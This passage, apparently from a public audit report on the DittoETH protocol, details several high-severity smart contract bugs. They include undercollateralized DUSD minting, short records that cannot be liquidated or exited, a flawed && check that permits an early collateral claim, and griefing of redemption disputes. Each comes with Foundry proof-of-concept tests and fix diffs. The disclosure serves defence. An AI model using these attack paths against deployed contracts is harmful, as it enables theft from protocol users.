942: Vault.dethYieldRate
943: );
944:
945: Vault.dethCollateral += collateralDiff;
946: Asset.dethCollateral += collateralDiff;
947: Asset.ercDebt += debtDiff;
948:
949: // @dev update the eth refund amount
950: eth -= collateralDiff;
951: }
952: // @dev virtually mint the increased debt
953: s.assetUser[asset][shorter].ercEscrowed += debtDiff;
A malicious user can exploit this by following these steps:
- Create a short order on an asset that lets the user provide less than 100% capital.
- Ensure that the order only gets partially filled before it is added to the market.
- Cancel the order to mint DUSD for only a part of the collateral and get the minted DUSD.
This will allow him to mint more DUSD than the value of the collateral he provided. The Short Record he leaves is also immediately liquidatable.
Impact
The issues above has the following impacts:
- Users can mint more DUSD than the collateral they provide.
- Users can mint DUSD at a lesser price than the current ETH price.
- A user can open a position that is immediately liquidatable if he does any of the two actions above.
- Users can also mint DUSD at a higher price than the current ETH price letting them experience a loss.
Proof of Concept
The POC below can be run in the shorts.t.sol file. It consists of 2 tests:
test_MintFreeDUSD
shows how a user can mint DUSD for less collateral than required and open a liquidatable position.test_MintBelowPrice
shows how a user can mint DUSD at a lesser price and open a liquidatable position.
// Make sure to import the types below into the Shorts.t.sol file
// import {STypes, MTypes, O, SR} from "contracts/libraries/DataTypes.sol";
function test_MintFreeDUSD() public {
// set the initial, penalty and liquidation CRs
vm.startPrank(owner);
// set below 200 to allow shorter provide less than 100% of debt
diamond.setInitialCR(asset, 170);
diamond.setPenaltyCR(asset, 120);
diamond.setLiquidationCR(asset, 150);
vm.stopPrank();
// create a bid to match the short and change its state to SR.PartialFill
fundLimitBidOpt(1 ether, 0.01 ether, receiver);
// create the short providing only 70% of the dusd to be minted
uint88 price = 1 ether;
depositEth(sender, price.mulU88(5000 ether).mulU88(0.7 ether));
uint16[] memory shortHintArray = setShortHintArray();
MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
vm.prank(sender);
diamond.createLimitShort(asset, uint80(price), 5000 ether, orderHintArray, shortHintArray, 70);
STypes.ShortRecord memory short = getShortRecord(sender, C.SHORT_STARTING_ID);
// successfully matches the bid
assertTrue(short.status == SR.PartialFill);
// cancel the short to use up collateral provided and mint dusd
vm.prank(sender);
cancelShort(101);
short = getShortRecord(sender, C.SHORT_STARTING_ID);
assertEq(short.ercDebt, 2000 ether); // 2000 dusd minted
assertEq(short.collateral, 0.01 ether + 0.7 * 2000 ether); // 70% of ETH collateral provided
// this SR is liquidatable
assertGt( diamond.getAssetNormalizedStruct(asset).liquidationCR, short.collateral.div(short.ercDebt.mul(1 ether)));
}
function test_MintBelowPrice() public {
// create a bid to match the short and change its state to SR.PartialFill
fundLimitBidOpt(1 ether, 0.01 ether, receiver);
// create the short providing 400% of the dusd to be minted
// current initialCR is 500%
uint88 price = 1 ether;
depositEth(sender, price.mulU88(5000 ether).mulU88(4 ether));
uint16[] memory shortHintArray = setShortHintArray();
MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
vm.prank(sender);
diamond.createLimitShort(asset, uint80(price), 5000 ether, orderHintArray, shortHintArray, 400);
STypes.ShortRecord memory short = getShortRecord(sender, C.SHORT_STARTING_ID);
assertTrue(short.status == SR.PartialFill); // CR is partially filled by bid
// set the new price to 1.5 ether so that price increase
uint256 newPrice = 1.5 ether;
skip(15 minutes);
ethAggregator.setRoundData(
92233720368547778907 wei, int(newPrice.inv()) / ORACLE_DECIMALS, block.timestamp, block.timestamp, 92233720368547778907 wei
);
fundLimitBidOpt(1 ether, 0.01 ether, receiver);
assertApproxEqAbs(diamond.getProtocolAssetPrice(asset), newPrice, 15000000150);
// cancel the short to mint at 1 ether instead of 1.5 ether
vm.prank(sender);
cancelShort(101);
short = getShortRecord(sender, C.SHORT_STARTING_ID);
assertEq(short.ercDebt, 2000 ether); // 2000 dusd minted
// 2000 dusd minted for 8000 ether (400% at price of 1 ether)
// instead of 12000 ether (400% at price of 1.5 ether)
assertEq(short.collateral, 0.01 ether + 4*2000 ether);
// position is liquidatable
assertGt( diamond.getAssetNormalizedStruct(asset).liquidationCR, short.collateral.div(short.ercDebt.mul(1.5 ether)));
}
Recommended Mitigation Steps
Consider using the initialCR
of the asset if the short order’s CR is lesser and consider using the current oracle price instead of the short order’s price when it was created.
It is also possible that the ETH calculated exceeds the ETH the user provided when he created the Short Order. The sponsor can also consider sourcing more ETH from the user’s escrowed ETH to enable him to cancel when this occurs.
- uint88 collateralDiff = shortOrder.price.mulU88(debtDiff).mulU88(LibOrders.convertCR(shortOrder.shortOrderCR));
+ uint16 cr = shortOrder.shortOrderCR < s.asset[asset].initialCR ? s.asset[asset].initialCR : shortOrder.shortOrderCR;
+ uint80 price = LibOracle.getSavedOrSpotOraclePrice(asset);
+ uint88 collateralDiff = price.mulU88(debtDiff).mulU88(LibOrders.convertCR(cr));
LibShortRecord.fillShortRecord(
asset,
shorter,
shortRecordId,
SR.FullyFilled,
collateralDiff,
debtDiff,
Asset.ercDebtRate,
Vault.dethYieldRate
);
Vault.dethCollateral += collateralDiff;
Asset.dethCollateral += collateralDiff;
Asset.ercDebt += debtDiff;
// @dev update the eth refund amount
+ if(eth < collateralDiff) revert Errors.InsufficientCollateral();
eth -= collateralDiff;
ditto-eth (DittoETH) confirmed
[H-04] Partially filled Short Records created without a short order cannot be liquidated and exited
Submitted by nonseodion, also found by 0xbepresent
When a Short Order is being created it tries to fill its Short Record. If it fills the Short Record, the Short Record is given a filled status (SR.FullyFilled
) and the Short Order isn’t added to the market. But if it doesn’t fill the Short Record, it is given a partially filled status (SR.PartiallyFilled
) and the remaining part of the Short Order is added to the market.
The issue is the current implementation doesn’t add the Short Order to the market every time the Short Record is partially filled. It does this in the sellMatchAlgo()
function loop when it tries to match bids.
❌ matchIncomingSell(asset, incomingAsk, matchTotal);
❌ if (incomingAsk.ercAmount.mul(incomingAsk.price) >= minAskEth) {
addSellOrder(incomingAsk, asset, orderHintArray);
}
s.bids[asset][C.HEAD].nextId = C.TAIL;
return;
When the Short Order is being matched in the sellMatchAlgo()
loop, it encounters the check in the if
statement above. If the value of the erc remaining in the short is less than minAskEth
it is not added to the market. The Short Record is already given the SR.PartiallyFilled
status before the check.
When this happens, the Short Record is created with no associated Short Order. This prevents the user from exiting the Short Record and a liquidator from liquidating the position if it ever becomes liquidatable. These actions revert with InvalidShortOrder()
error in the following portion of the code.
Exiting
When a user tries to exit using any of the exit functions, he has to pass a Short Order id.
function exitShortWallet(
address asset,
uint8 id,
uint88 buybackAmount,
❌ uint16 shortOrderId
)
function exitShortErcEscrowed(
address asset,
uint8 id, uint88
buybackAmount,
❌ uint16 shortOrderId
)
function exitShort(
address asset,
uint8 id,
uint88 buybackAmount,
uint80 price,
uint16[] memory shortHintArray,
❌ uint16 shortOrderId
)
Since there is no valid Short Order Id, if he passes any value it reverts when the user tries to exit. Because the id needs to be associated with the shortRecord
and still be owned by him to pass the checks. exitShort()
function calls checkCancelShortOrder()
which will revert in the check below.
if (shortOrder.shortRecordId != shortRecordId || shortOrder.addr != shorter) revert Errors.InvalidShortOrder();
For exitShortWallet()
and exitShortErcEscrowed()
, they revert in the check below when they call checkShortMinErc()
.
if (shortOrder.shortRecordId != shortRecordId || shortOrder.addr != shorter) revert Errors.InvalidShortOrder();
Liquidation
The primary and secondary liquidation calls require a Short Order Id.
Primary Liquidation call:
PrimaryLiquidationFacet.sol#L47
function liquidate(
address asset,
address shorter,
uint8 id, uint16[] memory shortHintArray,
❌ uint16 shortOrderId
)
Secondary Liquidation call:
SecondaryLiquidationFacet.sol#L39
function liquidateSecondary(
address asset,
❌ MTypes.BatchLiquidation[] memory batches,
uint88 liquidateAmount,
bool isWallet
)
BatchLiquidation
struct:
struct BatchLiquidation {
address shorter;
uint8 shortId;
❌ uint16 shortOrderId;
}
The liquidate()
function reverts in its call to checkCancelShortOrder()
. The check below causes the revert, because the id passed by the liquidator needs to be associated with the Short Record and still be owned by the user being liquidated to pass the check.
if (shortOrder.shortRecordId != shortRecordId || shortOrder.addr != shorter) revert Errors.InvalidShortOrder();
The liquidateSecondary()
function uses a loop to complete batch liquidation. In the loop, it first does the check below on each batch element.
SecondaryLiquidationFacet.sol#L69-L80
bool shortUnderMin;
if (m.isPartialFill) {
// Check attached shortOrder ercAmount left since SR will be fully liquidated
STypes.Order storage shortOrder = s.shorts[m.asset][m.shortOrderId];
❌ shortUnderMin = shortOrder.ercAmount < minShortErc;
❌ if (shortUnderMin) {
// Skip instead of reverting for invalid shortOrder
❌ if (shortOrder.shortRecordId != m.short.id || shortOrder.addr != m.shorter) {
continue;
}
}
}
The loop skips liquidating if the Short Record’s debt is below the minimum i.e. shortUnderMin
is true for the passed shortOrder
and shortOrder.shortRecordId != m.short.id || shortOrder.addr != m.shorter
evaluates to true since the short order isn’t attached to the Short Record.
It reverts in the check below. liquidateAmount
is the amount the liquidator wants to liquidate and liquidateAmountLeft
is the amount not liquidated. If only the bad Short Record is in the batch, it reverts. If other Short Records in the batch get liquidated it doesn’t revert.
SecondaryLiquidationFacet.sol#L124
if (liquidateAmount == liquidateAmountLeft) revert Errors.SecondaryLiquidationNoValidShorts();
Note: Secondary Liquidation can still be done in some scenarios check the POC section for more details.
Apart from the DOS effects above, the issue also lets a user create a Short Record with an erc amount below the minShortErc
. Check the POC.
Impact
The issue above has the following effects:
- Users cannot exit a Short Record Position.
- Primary Liquidation cannot be done on the Short Record.
- Secondary Liquidation may not be possible on the Short Record.
- Allows a user to create a Short Record below
minShortErc
.
Proof of Concept
The tests can be run in the Shorts.t.sol file.
The POC below consists of 5 tests:
test_FailExit()
: Shows how exiting a Short Record can fail.test_CreateShortLessThanMin()
: Shows how a Short Record with less erc debt than the minimum can be created.test_FailPrimaryLiquidation()
: Shows how primary liquidation fails.test_FailSecondaryLiquidation()
: Shows how Secondary liquidation fails.test_PassSecondaryLiquidation()
: Shows how Secondary Liquidation can pass and exposes another bug.
It also contains a utility function for setting up the Short Record, createPartiallyFilledSR
.
Add this import statement to the top of the Shorts.t.sol file:
import {STypes, MTypes, O, SR} from "contracts/libraries/DataTypes.sol";
// util function and errors used by test
error InvalidShortOrder();
error SecondaryLiquidationNoValidShorts();
function createPartiallyFilledSR(uint amount) public
returns (STypes.ShortRecord memory short)
{
// get minimum ask
uint minAskEth = diamond.getAssetNormalizedStruct(asset).minAskEth;
// The bid is opened with an amount that allows short to be 1 less than
// the minAskEth.
fundLimitBidOpt(1 ether, uint88(amount - minAskEth + 1), receiver);
// open short
fundLimitShortOpt(1 ether,uint88(amount), sender);
// get the ShortRecord created
short = getShortRecord(sender, C.SHORT_STARTING_ID);
assertTrue(short.status == SR.PartialFill);
// no short orders
STypes.Order[] memory shortOrders = getShorts();
assertEq(shortOrders.length, 0);
return short;
}
function test_FailExit() public {
// create partially filled SR with no short order
createPartiallyFilledSR(3000 ether);
// give sender assets to exit short
deal(asset, sender, 1000 ether);
// cannot exit the SR
vm.expectRevert(InvalidShortOrder.selector);
exitShortWallet(C.SHORT_STARTING_ID, 1000 ether, sender);
}
function test_CreateShortLessThanMin() public {
// create partially filled SR with no short order
STypes.ShortRecord memory short = createPartiallyFilledSR(2000 ether);
uint minShortErc = diamond.getAssetNormalizedStruct(asset).minShortErc;
// created SR has less than minShortErc
assertGt(minShortErc, short.ercDebt);
}
function test_FailPrimaryLiquidation() public {
// create partially filled SR with no short order
createPartiallyFilledSR(3000 ether);
// change price to let short record be liquidatable
uint256 newPrice = 1.5 ether;
skip(15 minutes);
ethAggregator.setRoundData(
92233720368547778907 wei, int(newPrice.inv()) / ORACLE_DECIMALS, block.timestamp, block.timestamp, 92233720368547778907 wei
);
fundLimitAskOpt(1.5 ether, 2000 ether, receiver); // add ask to allow liquidation have a sell
// liquidation reverts
vm.expectRevert(InvalidShortOrder.selector);
diamond.liquidate(asset, sender, C.SHORT_STARTING_ID, shortHintArrayStorage, 0);
}
function test_FailSecondaryLiquidation() public {
// create partially filled SR with no short order
STypes.ShortRecord memory short = createPartiallyFilledSR(3000 ether);
// change price to let short record be liquidatable
uint256 newPrice = 1.5 ether;
skip(15 minutes);
ethAggregator.setRoundData(
92233720368547778907 wei, int(newPrice.inv()) / ORACLE_DECIMALS, block.timestamp, block.timestamp, 92233720368547778907 wei
);
// give receiver assets to complete liquidation
deal(asset, receiver, short.ercDebt);
// create batch
MTypes.BatchLiquidation[] memory batch = new MTypes.BatchLiquidation[](1);
batch[0] = MTypes.BatchLiquidation(sender, C.SHORT_STARTING_ID, 0);
vm.prank(receiver);
// cannot liquidate
vm.expectRevert(SecondaryLiquidationNoValidShorts.selector);
diamond.liquidateSecondary(asset, batch, short.ercDebt, true);
}
// This shows that secondary liquidation can still occur
function test_PassSecondaryLiquidation() public {
// create partially filled SR with no short order
STypes.ShortRecord memory short = createPartiallyFilledSR(3000 ether);
// change price to let short record be liquidatable
uint256 newPrice = 1.5 ether;
skip(15 minutes);
ethAggregator.setRoundData(
92233720368547778907 wei, int(newPrice.inv()) / ORACLE_DECIMALS, block.timestamp, block.timestamp, 92233720368547778907 wei
);
// create another short for sender
// the id of this short can be used for liquidation
fundLimitShortOpt(1 ether, 3000 ether, sender);
STypes.Order[] memory shortOrders = getShorts();
shortOrders = getShorts();
// give receiver assets to complete liquidation
deal(asset, receiver, short.ercDebt);
// create batch
MTypes.BatchLiquidation[] memory batch = new MTypes.BatchLiquidation[](1);
batch[0] = MTypes.BatchLiquidation(sender, C.SHORT_STARTING_ID, shortOrders[0].id);
vm.prank(receiver);
// successful liquidation
diamond.liquidateSecondary(asset, batch, short.ercDebt, true);
}
Recommended Mitigation Steps
Consider setting ercAmount
of the incomingAsk
to zero in the sellMatchAlgo()
function. This will allow the matchIncomingSell()
call to set the Short Record to a Fully Filled state.
if (startingId == C.TAIL) {
- matchIncomingSell(asset, incomingAsk, matchTotal);
if (incomingAsk.ercAmount.mul(incomingAsk.price) >= minAskEth) {
addSellOrder(incomingAsk, asset, orderHintArray);
}
+ incomingAsk.ercAmount = 0;
+ matchIncomingSell(asset, incomingAsk, matchTotal);
s.bids[asset][C.HEAD].nextId = C.TAIL;
return;
}
Assessed type
DoS
ditto-eth (DittoETH) confirmed and commented:
Great find, POC very helpful.
[H-05] Flawed if check causes inaccurate tracking of the protocol’s ercDebt
and collateral
Submitted by samuraii77, also found by samuraii77 and serial-coder
A flawed if check using &&
instead of ||
in RedemptionFacet::claimRemainingCollateral()
leads to a break of one of the core protocol invariants. The total collateral and ercDebt
of an asset should always equal the total collateral and ercDebt
of all shortRecords
combined. However, this will not be the case if the scenario explained below takes place. This results in the protocol holding inaccurate values of their ercDebt
and collateral which are extremely important values used for very important calculations across the entire protocol.
Proof of Concept
Imagine the following scenario:
Shorter
has a fewshortRecords
.Redeemer
proposes a redemption for one of theshortRecords
owned byshorter
.- The
timeToDispute
passes. Redeemer2
proposes redemption for another one of theshortRecords
owned byshorter
.- Even though
timeToDispute
has not passed forredeemer2
,shorter
is able to callRedemptionFacet::claimCollateral()
successfully because of a flawed if check.
if (claimProposal.shorter != msg.sender && claimProposal.shortId != id) revert Errors.CanOnlyClaimYourShort();
- 5.1
Shorter
callsRedemptionFacet::claimRemainingCollateral()
with the address ofredeemer
and with the ID of theshortRecord
proposed byredeemer2
. - 5.2
redeemerAssetUser
in the function is nowredeemer
. - 5.3 The check for time to dispute passes as enough time has passed for
redeemer
’stimeToDispute
. - 5.4
claimProposal
is thedecodedProposalData
ofredeemer
. - 5.5 The if check doesn’t lead to a revert because it is flawed,
claimProposal.shorter
is==
tomsg.sender
as he is the owner of the initialshortRecord
; however, theclaimProposal.shortId
is not equal to the given ID sinceclaimProposal.shortId
is based on the initial redeemer proposal and the given ID is the ID for theshortRecord
proposed byredeemer2
which makes the if check (true&&
false) resulting in false and the code continues. - 5.6
_claimRemainingCollateral()
is called with theshorter
address (msg.sender
) andshortId
equal to the given ID (ID of theshortRecord
proposed byredeemer2
). - 5.7 Check successfully passes and
shorter
claims collateral and deletesshortRecord
without having to wait thetimeToDispute
. - As the
shortRecord
is deleted beforetimeToDispute
is over,RedemptionFacet::disputeRedemption()
is still callable. Disputer
successfully disputes the already deletedshortRecord
.RedemptionFacet::disputeRedemption()
gives back thecollateral
andercDebt
to the already deletedshortRecord
.- It also increments the asset’s
collateral
andercDebt
.
for (uint256 i = incorrectIndex; i < decodedProposalData.length; i++) {
currentProposal = decodedProposalData[i];
STypes.ShortRecord storage currentSR = s.shortRecords[d.asset][currentProposal.shorter][currentProposal.shortId];
currentSR.collateral += currentProposal.colRedeemed;
currentSR.ercDebt += currentProposal.ercDebtRedeemed;
d.incorrectCollateral += currentProposal.colRedeemed;
d.incorrectErcDebt += currentProposal.ercDebtRedeemed;
}
s.vault[Asset.vault].dethCollateral += d.incorrectCollateral;
Asset.dethCollateral += d.incorrectCollateral;
Asset.ercDebt += d.incorrectErcDebt;
- Since the
shortRecord
is deleted, it makes the asset’sercDebt
andcollateral
inaccurate as it includes theercDebt
andcollateral
of a non-existentshortRecord
. - Such inaccuracy is detrimental to the protocol as inaccurate values for the
ercDebt
andcollateral
will be used across the whole protocol for extremely important functions and calculations.
Add the following POC function to Redemption.t.sol
:
function testRuinsDebtAndCollateralTracking() public {
// Set up all of the users
address shorter = sender;
address redeemer = receiver;
address redeemer2 = makeAddr('redeemer2');
depositEth(redeemer2, INITIAL_ETH_AMOUNT);
address disputer = makeAddr('disputer');
for (uint256 i = 0; i < 6; i++) {
if (i % 2 == 0) {
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, redeemer);
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, shorter);
} else {
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, redeemer2);
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, shorter);
}
}
_setETH(50000 ether);
fundLimitBidOpt(DEFAULT_PRICE - 0.000000001 ether, DEFAULT_AMOUNT, redeemer2);
fundLimitShortOpt(DEFAULT_PRICE - 0.000000001 ether, DEFAULT_AMOUNT, shorter);
MTypes.ProposalInput[] memory redeemerProposalInputs = new MTypes.ProposalInput[](1);
redeemerProposalInputs[0] = MTypes.ProposalInput({shorter: shorter, shortId: C.SHORT_STARTING_ID, shortOrderId: 0});
_setETH(1000 ether);
vm.prank(redeemer);
diamond.proposeRedemption(asset, redeemerProposalInputs, DEF_REDEMPTION_AMOUNT, MAX_REDEMPTION_FEE); // Redeemer creates a proposal
skip(diamond.getAssetUserStruct(asset, redeemer).timeToDispute); // Skip the time to dispute for the first proposal (5401 seconds)
MTypes.ProposalInput[] memory redeemer2ProposalInputs = new MTypes.ProposalInput[](1);
redeemer2ProposalInputs[0] = MTypes.ProposalInput({shorter: shorter, shortId: C.SHORT_STARTING_ID + 1, shortOrderId: 0});
vm.prank(redeemer2);
diamond.proposeRedemption(asset, redeemer2ProposalInputs, DEF_REDEMPTION_AMOUNT, MAX_REDEMPTION_FEE); // Redeemer2 creates a proposal
assert(diamond.getOffsetTime() < diamond.getAssetUserStruct(asset, redeemer2).timeToDispute); // Not enough time has passed in order to redeem the second proposal (5402 < 10802)
vm.expectRevert(Errors.TimeToDisputeHasNotElapsed.selector);
vm.prank(redeemer2);
diamond.claimRedemption(asset); // This correctly reverts as 5401 seconds have not passed and bug is non-existent in claimRedemption()
STypes.ShortRecord[] memory shortRecordsBefore = diamond.getShortRecords(asset, shorter); // Get shortRecords before the deletion
vm.prank(shorter);
diamond.claimRemainingCollateral(asset, redeemer, 0, C.SHORT_STARTING_ID + 1); // Claiming collateral without waiting (this is the bug)
STypes.ShortRecord[] memory shortRecordsAfter = diamond.getShortRecords(asset, shorter); // Get shortRecords after the deletion
uint256 totalShortRecordsCollateralBefore;
uint256 totalShortRecordsDebtBefore;
for (uint256 i = 0; i < shortRecordsAfter.length; i++) { // Get the total collateral and total debt for the short records
totalShortRecordsCollateralBefore += shortRecordsAfter[i].collateral;
totalShortRecordsDebtBefore += shortRecordsAfter[i].ercDebt;
}
// Compare the total collateral and total debt based on the short records vs. based on the asset struct (they are equal as they should be)
STypes.Asset memory assetStruct = diamond.getAssetStruct(asset);
assertEq(totalShortRecordsCollateralBefore, assetStruct.dethCollateral); // 32500000000000000000
assertEq(totalShortRecordsDebtBefore, assetStruct.ercDebt); // 20000000000000000000000
assertEq(shortRecordsAfter.length, shortRecordsBefore.length - 1); // Deletion happened
vm.prank(disputer);
diamond.disputeRedemption(asset, redeemer2, 0, shorter, C.SHORT_STARTING_ID + 6); // Dispute with a shortRecord with a lower CR
STypes.ShortRecord[] memory shortRecordsFinal = diamond.getShortRecords(asset, shorter); // Current short records
STypes.Asset memory currentAssetStruct = diamond.getAssetStruct(asset); // Current asset struct
uint256 currentTotalShortRecordsCollateral;
uint256 currentTotalShortRecordsDebt;
for (uint256 i = 0; i < shortRecordsFinal.length; i++) { // Get the total collateral and total debt for the short records
currentTotalShortRecordsCollateral += shortRecordsFinal[i].collateral;
currentTotalShortRecordsDebt += shortRecordsFinal[i].ercDebt;
}
assert(currentTotalShortRecordsDebt != currentAssetStruct.ercDebt); // 25000000000000000000000 30000000000000000000000
assert(currentTotalShortRecordsCollateral != currentAssetStruct.dethCollateral); // 39999970000000000000 44999969999999999999
}
Recommended Mitigation Steps
Use ||
instead of &&
+ if (claimProposal.shorter != msg.sender || claimProposal.shortId != id) revert Errors.CanOnlyClaimYourShort();
- if (claimProposal.shorter != msg.sender && claimProposal.shortId != id) revert Errors.CanOnlyClaimYourShort();
Assessed type
Invalid Validation
ditto-eth (DittoETH) confirmed
[H-06] Closing a SR during a wrong redemption proposal leads to loss of funds
Submitted by Cosine, also found by klau5
Impact
When a user creates a redemption proposal with the proposeRedemption
function the user has to provide a list of the short records (SRs) with the lowest collateral ratios (CR) in the system ascending.
To prevent users from creating proposals with a wrong SR list, anyone is allowed to dispute proposals with the disputeRedemption
function. This function allows the disputer to prove that a SR with a lower CR was not included in the proposal and for doing so the disputer receives a penalty fee from the proposer.
If between these flows of creating a wrong proposal and disputing it a SR is closed (liquidation, exiting, transfer, …) the collateral is added to the closed SR and can not be recovered.
Proof of Concept
The following POC can be implemented in the Redemption.t.sol
test file:
function test_dispute_on_non_existing_sr() public {
// setup shorts
makeShorts({singleShorter: true});
_setETH(1000 ether);
skip(1 hours);
STypes.ShortRecord memory sr1 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID);
STypes.ShortRecord memory sr2 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+1);
STypes.ShortRecord memory sr3 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+2);
uint256 cr1 = diamond.getCollateralRatio(asset, sr1);
uint256 cr2 = diamond.getCollateralRatio(asset, sr2);
uint256 cr3 = diamond.getCollateralRatio(asset, sr3);
// CRs are increasing
assertGt(cr2, cr1);
assertGt(cr3, cr2);
// user creates a wrong proposal
MTypes.ProposalInput[] memory proposalInputs =
makeProposalInputsForDispute({shortId1: C.SHORT_STARTING_ID + 1, shortId2: C.SHORT_STARTING_ID + 2});
address redeemer = receiver;
vm.prank(redeemer);
diamond.proposeRedemption(asset, proposalInputs, DEFAULT_AMOUNT * 3 / 2, MAX_REDEMPTION_FEE);
// on of the SRs in the proposal is closed
fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT / 2, extra);
exitShort(C.SHORT_STARTING_ID + 2, DEFAULT_AMOUNT / 2, DEFAULT_PRICE, sender);
// SR is now closed
sr3 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+2);
assertEq(uint(sr3.status), uint(SR.Closed));
uint88 collateralBefore = sr3.collateral;
// another user disputes the wrong proposal
address disputer = extra;
vm.prank(disputer);
diamond.disputeRedemption({
asset: asset,
redeemer: redeemer,
incorrectIndex: 0,
disputeShorter: sender,
disputeShortId: C.SHORT_STARTING_ID
});
// SR is still closed and collateral increased
sr3 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+2);
assertEq(uint(sr3.status), uint(SR.Closed));
assertGt(sr3.collateral, collateralBefore);
}
Recommended Mitigation Steps
Opening up the SR again if it’s closed would be a solution, but it could probably be misused to avoid liquidations. Therefore, carefully think about the implications of changes in this context.
Assessed type
Context
ditto-eth (DittoETH) confirmed
[H-07] Valid redemption proposals can be disputed by decreasing collateral
Submitted by Cosine, also found by ilchovski and klau5
Impact
When a user creates a redemption proposal with the proposeRedemption
function the user has to provide a list of the short records (SRs) with the lowest collateral ratios (CR) in the system ascending.
To prevent users from creating proposals with a wrong SR list, anyone is allowed to dispute proposals with the disputeRedemption
function. This function allows the disputer to prove that a SR with a lower CR was not included in the proposal and for doing so the disputer receives a penalty fee from the proposer. Therefore, if an attacker can dispute a valid redemption proposal, the attacker can steal funds from a proposer.
To avoid malicious disputers the system invented a DISPUTE_REDEMPTION_BUFFER
that should prevent users from disputing with a SR that was created/modified <=
1 hour before the redemption proposal was created:
if (disputeCR < incorrectProposal.CR && disputeSR.updatedAt + C.DISPUTE_REDEMPTION_BUFFER <= redeemerAssetUser.timeProposed)
But not every function that modifies a SR updates the updatedAt
param. This enables the possibility for an attacker to dispute a valid redemption proposal by modifying a SR after the proposal so that the proposer does not have the chance to create a correct proposal.
The decreaseCollateral
function does not update the updatedAt
param and therefore, the following attack path is enabled:
initialCR
of the given asset is set to 1.7 (as in the docs) and the max redemption CR is 2 (constant).- User creates a valid redemption proposal where the SRs have a CR above the
initialCR
. - The attacker owns a SR with a CR above the ones in the proposal.
- The attacker decreases the CR of the own SR to the
initialCR
, disputes the redemption to receive the penalty fee, and increases the CR back up in one transaction.
Proof of Concept
The following POC can be implemented in the Redemption.t.sol
test file:
function test_decrease_cr_dispute_attack() public {
// add import {O} from "contracts/libraries/DataTypes.sol"; to the imports to run this test
// create three SRs with increasing CRs above initialCR
// set initial CR to 1.7 as in the docs
vm.startPrank(owner);
diamond.setInitialCR(asset, 170);
uint80 price = diamond.getOraclePriceT(asset);
fundLimitBidOpt(price, DEFAULT_AMOUNT, receiver);
depositEth(sender, price.mulU88(DEFAULT_AMOUNT).mulU88(100e18));
uint16[] memory shortHintArray = setShortHintArray();
MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
vm.prank(sender);
diamond.createLimitShort(asset, price, DEFAULT_AMOUNT, orderHintArray, shortHintArray, 70);
fundLimitBidOpt(price + 1, DEFAULT_AMOUNT, receiver);
shortHintArray = setShortHintArray();
orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
vm.prank(sender);
diamond.createLimitShort(asset, price, DEFAULT_AMOUNT, orderHintArray, shortHintArray, 80);
fundLimitBidOpt(price + 2, DEFAULT_AMOUNT, receiver);
shortHintArray = setShortHintArray();
orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
vm.prank(sender);
diamond.createLimitShort(asset, price, DEFAULT_AMOUNT, orderHintArray, shortHintArray, 100);
skip(1 hours);
STypes.ShortRecord memory sr1 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID);
STypes.ShortRecord memory sr2 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+1);
STypes.ShortRecord memory sr3 = diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID+2);
uint256 cr1 = diamond.getCollateralRatio(asset, sr1);
uint256 cr2 = diamond.getCollateralRatio(asset, sr2);
uint256 cr3 = diamond.getCollateralRatio(asset, sr3);
// CRs are increasing
assertGt(cr2, cr1);
assertGt(cr3, cr2);
// user proposes a redemption
uint88 _redemptionAmounts = DEFAULT_AMOUNT * 2;
uint88 initialErcEscrowed = DEFAULT_AMOUNT;
MTypes.ProposalInput[] memory proposalInputs =
makeProposalInputsForDispute({shortId1: C.SHORT_STARTING_ID, shortId2: C.SHORT_STARTING_ID + 1});
address redeemer = receiver;
vm.prank(redeemer);
diamond.proposeRedemption(asset, proposalInputs, _redemptionAmounts, MAX_REDEMPTION_FEE);
// attacker decreases collateral of a SR with a CR above the ones in the proposal so that they fall below the CR of the SRs in the proposal
uint32 updatedAtBefore = getShortRecord(sender, C.SHORT_STARTING_ID + 2).updatedAt;
vm.prank(sender);
diamond.decreaseCollateral(asset, C.SHORT_STARTING_ID + 2, 0.3e18);
uint32 updatedAtAfter = getShortRecord(sender, C.SHORT_STARTING_ID + 2).updatedAt;
// updatedAt param is not updated when decreasing collateral
assertEq(updatedAtBefore, updatedAtAfter);
// attacker successfully disputes the redemption proposal
address disputer = extra;
vm.prank(disputer);
diamond.disputeRedemption({
asset: asset,
redeemer: redeemer,
incorrectIndex: 1,
disputeShorter: sender,
disputeShortId: C.SHORT_STARTING_ID + 2
});
}
Recommended Mitigation Steps
Update the updatedAt
param when decreasing collateral, or do now allow redemption proposals of SRs above the initialCR
(as decreasing below that is not possible).
Assessed type
Context
ditto-eth (DittoETH) confirmed
Medium Risk Findings (9)
[M-01] The shortOrder
verification bug on the RedemptionFacet::proposeRedemption()
allows an attacker to leave a small shortOrder
on the order book, leading to the protocol’s bad debt
Submitted by serial-coder, also found by unix515
The BidOrdersFacet::bidMatchAlgo()
allows a shortOrder
to be partially matched and leave its ercAmount * price < minAskEth
due to the DUST_FACTOR
constant (as long as its corresponding shortRecord
is maintaining enough ercDebt + shortOrder
’s ercAmount
to keep the position >=
the minShortErc
threshold).
The redemption process enables redeemers to redeem their ercEscrowed
for ethCollateral
on target shortRecords
. If a shortRecord
was partially filled, the RedemptionFacet::proposeRedemption()
must guarantee that the corresponding shortOrder
maintains the ercAmount
>=
minShortErc
. In other words, if the shortOrder
’s ercAmount
is less than the minShortErc
threshold, the shortOrder
must be canceled from the order book. Otherwise, the shortRecord
position will be less than the minShortErc
threshold when the order is matched again.
Subsequently, the small shortRecord
(short
